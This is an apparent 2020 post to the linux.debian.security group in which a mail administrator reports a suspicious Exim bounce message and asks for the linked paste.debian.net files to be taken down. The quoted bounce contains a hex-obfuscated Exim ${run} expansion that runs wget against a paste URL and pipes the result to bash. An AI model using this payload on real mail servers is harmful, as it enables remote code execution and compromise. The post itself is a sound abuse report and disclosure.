Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > linux.debian.security > #5855

Misuse/Abuse

Show all headers | View raw

[Multipart message — attachments visible in raw view] - view raw

To whom this may concern,

I got a system message from my mailer daemon lately. It contains

-------------------------------- cut --------------------------------
Message 1kS01n-0008Kv-Nb has been frozen (delivery error message).
The sender is <>.

The following address(es) have yet to be delivered:

${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t-O\t-\thttps\x3A\x2F\x2Fpaste\x2Edebian\x2Enet\x2Fdownloadh\x2Fb8e3188e\t\x7C\tbash\x22}}@ianm-mang.math.kit.edu:
Too many "Received" headers - suspected mail loop
-------------------------------- cut --------------------------------


When you look into this you will find the URL

  https://paste.debian.net/downloadh/b8e3188e

which is downloaded via wget (called by /bin/sh) and then piped to a
bash. I have attached the file. Also I have attached another file which
will be downloaded within the file above
(https://paste.debian.net/downloadh/a6621e02). The file pkgmgr.sh that
should be downloaded as well was not downloadble for me so far.

I don't know if this messages reaches the right persons, but someone may
forward it. You may at least remove the files which are accessible on
paste.debian.net.

Best
Christian

Back to linux.debian.security | Previous | Next — Next in thread | Find similar | Unroll thread

Thread

Misuse/Abuse "Knieling, Christian (IANM)" <christian.knieling@kit.edu> - 2020-10-13 09:20 +0200
  Re: Misuse/Abuse Paul Wise <pabs@debian.org> - 2020-10-13 15:00 +0200
  Re: Misuse/Abuse Daniel Leidert <dleidert@debian.org> - 2020-10-13 16:20 +0200
    Re: Misuse/Abuse Sven Hartge <sven@svenhartge.de> - 2020-10-13 16:30 +0200
    Re: Misuse/Abuse Martin Holub <martin@holub.co.at> - 2020-10-13 16:40 +0200

csiph-web